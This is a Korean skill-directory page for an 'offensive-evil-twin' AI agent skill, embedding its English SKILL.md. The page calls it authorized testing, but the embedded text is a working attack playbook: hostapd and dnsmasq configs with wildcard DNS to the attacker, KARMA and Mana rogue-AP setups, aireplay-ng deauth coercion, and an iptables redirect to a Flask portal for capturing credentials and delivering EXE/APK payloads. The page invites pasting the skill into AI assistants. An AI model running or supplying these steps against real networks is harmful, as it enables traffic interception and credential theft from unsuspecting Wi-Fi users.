본문으로 건너뛰기
Skillpedia
보안10k · #11983

offensive-evil-twin

하는 일

이 스킬은 실제 Wi-Fi와 비슷하게 꾸민 액세스 포인트 테스트가 어떻게 작동하고 어떻게 계획하는지 설명합니다. 기기 동작과 사용자 인식을 확인하도록 요청받은 보안 테스터를 위한 스킬입니다.

사용하는 경우

  • ✓승인된 검토에서 기기가 비슷한 이름의 네트워크에 자동으로 연결되는지 테스트해야 할 때.
  • ✓흔한 가짜 액세스 포인트 테스트 유형과 그 절충점을 비교하고 싶을 때.
  • ✓서면 승인을 받은 비슷한 네트워크 테스트 계획이 필요할 때.

스킬 링크

https://github.com/SnailSploit/Claude-Red/blob/main/Skills/wireless/offensive-evil-twin/SKILL.md

복사해서 AI(Claude, ChatGPT, Cursor)에 붙여넣고 지침을 따르도록 요청하세요.

사용 방법

가장 쉬운 방법입니다. 메시지를 복사해 AI에 붙여넣으세요. AI가 스킬을 읽고 지침을 따릅니다.

바로 붙여넣을 수 있는 메시지

Use this skill to help me: https://github.com/SnailSploit/Claude-Red/blob/main/Skills/wireless/offensive-evil-twin/SKILL.md Read the SKILL.md file at that link and follow its instructions for my task.
AI가 이런 스킬을 알아서 찾아 쓰길 원하시나요?무료 Skillpedia MCP를 설치하세요. 한 줄이면 작업마다 스킬 15,000+개 중에서 검색합니다.1분 만에 설치 →

AI에게 요청하는 예시

“직원 기기가 우리 게스트 Wi-Fi의 가짜 복사본에 연결되는지 확인하는 승인된 테스트를 계획하도록 도와주시겠어요?”

매주 새 스킬 5개. 읽는 데 1분.

작동 방식

이 스킬은 주요 테스트 유형을 나열하고, 기기가 비슷한 네트워크로 끌려가는 방식을 설명하며, 각 테스트를 설정하는 방법을 설명합니다. 명확한 허가와 범위를 강조합니다.

기술 내용 (원본 SKILL.md)

작성자의 영어 원문을 GitHub에서 그대로 가져왔습니다.

Evil Twin / KARMA / Mana

Stand up an AP that looks like (or is more attractive than) the legitimate target. Clients associate, you become their gateway, you intercept everything. The classic "captive portal at the airport" attack pattern, scaled to whatever the engagement requires.

Quick Workflow

  1. Discover target ESSID(s) clients are looking for (PNL — Preferred Network List)
  2. Stand up rogue AP advertising matching ESSID(s)
  3. (Optional) Deauth clients off legitimate AP to push them toward yours
  4. Run captive portal / transparent MITM
  5. Capture creds, deliver payload, or harvest sessions

Variants

Variant Mechanic Use Case
Evil Twin Same ESSID + BSSID as legit AP Open or PSK-known networks (ISP cafe Wi-Fi, public guest)
KARMA Respond "yes" to every probe request Clients with broad PNLs (most older devices)
Mana Respond selectively to probes per-client KARMA-aware MAC randomization defenses
Known Beacons Beacon a list of likely-known ESSIDs Wide-net attraction without seeing probes first
Captive Portal Force splash page on association Phishing, payload delivery

Open / PSK-Known Evil Twin

Use when you know (or have cracked) the PSK.

# wifiphisher — opinionated automation including portal templates
sudo wifiphisher --essid CorpWiFi --noextensions --force-hostapd

# airgeddon (interactive menu, good for one-off)
sudo airgeddon
# → Evil Twin attacks menu → Captive Portal

# Manual: hostapd + dnsmasq + iptables redirect
cat > /tmp/hostapd.conf <<EOF
interface=wlan0
driver=nl80211
ssid=CorpWiFi
hw_mode=g
channel=6
auth_algs=1
wpa=2
wpa_passphrase=KnownPSK
wpa_key_mgmt=WPA-PSK
rsn_pairwise=CCMP
EOF
sudo hostapd /tmp/hostapd.conf &

# DHCP/DNS via dnsmasq
cat > /tmp/dnsmasq.conf <<EOF
interface=wlan0
dhcp-range=10.10.10.10,10.10.10.50,12h
dhcp-option=3,10.10.10.1
dhcp-option=6,10.10.10.1
address=/#/10.10.10.1   # wildcard DNS to attacker
EOF
sudo dnsmasq -C /tmp/dnsmasq.conf -d

KARMA — Universal Probe Response

# hostapd-mana with KARMA mode enabled (mana_mode=1)
cat > /tmp/karma.conf <<EOF
interface=wlan0
ssid=KARMA
hw_mode=g
channel=6
mana_loud=1
mana_macacl=0
EOF
sudo hostapd-mana /tmp/karma.conf

Modern clients with MAC randomization probe with random MACs and a randomized PNL — KARMA's universal-yes response is now triggers on probes the client wouldn't actually associate to. Use Mana for better selectivity.

Mana — Selective Per-Client Response

# hostapd-mana (default mode is mana, not loud)
cat > /tmp/mana.conf <<EOF
interface=wlan0
ssid=Free-WiFi
hw_mode=g
channel=6
mana_mode=1
mana_macacl=0
mana_outfile=/tmp/mana.log
EOF
sudo hostapd-mana /tmp/mana.conf

Mana tracks MAC → ESSID-probe-list. When that MAC associates, Mana picks one realistic ESSID from its observed probe list and responds consistently. Defeats KARMA-aware client-side mitigations.

Known Beacons Attack

# eaphammer can broadcast a list of likely-known ESSIDs as actual beacons
eaphammer --essid-file likely_essids.txt --hostile-portal
# likely_essids.txt: airport, cafe, hotel, office defaults from open intel

Beacons attract spontaneous association from devices whose PNLs include these names. Useful when you don't see probes (modern devices broadcast fewer probes than they used to).

Deauth Coercion

Push existing clients off legitimate AP to your evil twin:

# On a different interface (or after stopping airbase-ng)
sudo aireplay-ng --deauth 10 -a <legitimate-BSSID> wlan0_mon2

Combined with stronger signal (closer position) or higher TX power on your AP, the client roams to you on reconnection.

Detection trade-off: broadcast deauth is loud; targeted single-client deauth is quieter. PMF (802.11w) blocks unencrypted deauth — see offensive-deauth-disassoc.

Captive Portal / Credential Capture

# Portal options in eaphammer / wifiphisher / airgeddon include:
# - Generic OAuth-style (Google/MS/Facebook clones)
# - Vendor router login pages (matched to nearby AP brand)
# - Corporate-themed portal harvesting AD creds
# - Update-required prompts delivering EXE/APK payloads

# Custom: simple Flask+iptables setup
iptables -t nat -A PREROUTING -i wlan0 -p tcp --dport 80 -j DNAT --to-destination 10.10.10.1:8080
iptables -t nat -A POSTROUTING -j MASQUERADE
python3 -m flask run --host=10.10.10.1 --port=8080

For high-fidelity portals, mirror the legitimate captive

자주 묻는 질문

허가 없이 이 스킬을 쓸 수 있나요?

아니요. 이 내용은 승인된 테스트를 위한 것이며, 테스트에는 네트워크 소유자의 서면 승인이 필요합니다.

어떤 종류의 테스트 유형을 다루나요?

복제형, 프로브 응답형, 캡티브 포털형 비슷한 네트워크 테스트를 다룹니다.

캡티브 포털이란 무엇인가요?

기기가 Wi-Fi 네트워크에 처음 연결할 때 보여 주는 로그인 페이지입니다. 스킬은 이를 하나의 테스트 유형으로 다룹니다.

상세 정보

작성자의 원본 설명

Evil Twin / KARMA / Mana access point methodology — rogue AP construction with hostapd-mana / wifiphisher / airgeddon, KARMA universal probe response, Mana selective probe response, captive portal phishing, deauth-driven client coercion to attacker AP, MAC randomization defeat via PNL leak analysis, post-association MITM (DNS, ARP, transparent proxy), credential capture for portal/web/SMB, and detection-evasion tactics. Use to coerce client devices onto an attacker-controlled AP, intercept their traffic, harvest credentials, or deliver payloads via captive portal.

repo: SnailSploit/Claude-Red

인기도

GitHub 스타
10k
순위
#11983
라이선스
MIT
업데이트
2026. 10. 12.

이 스킬이 유용한가요?

0

로그인 투표하려면 로그인하세요.

댓글

  • …

이 저장소의 다른 스킬

비슷한 스킬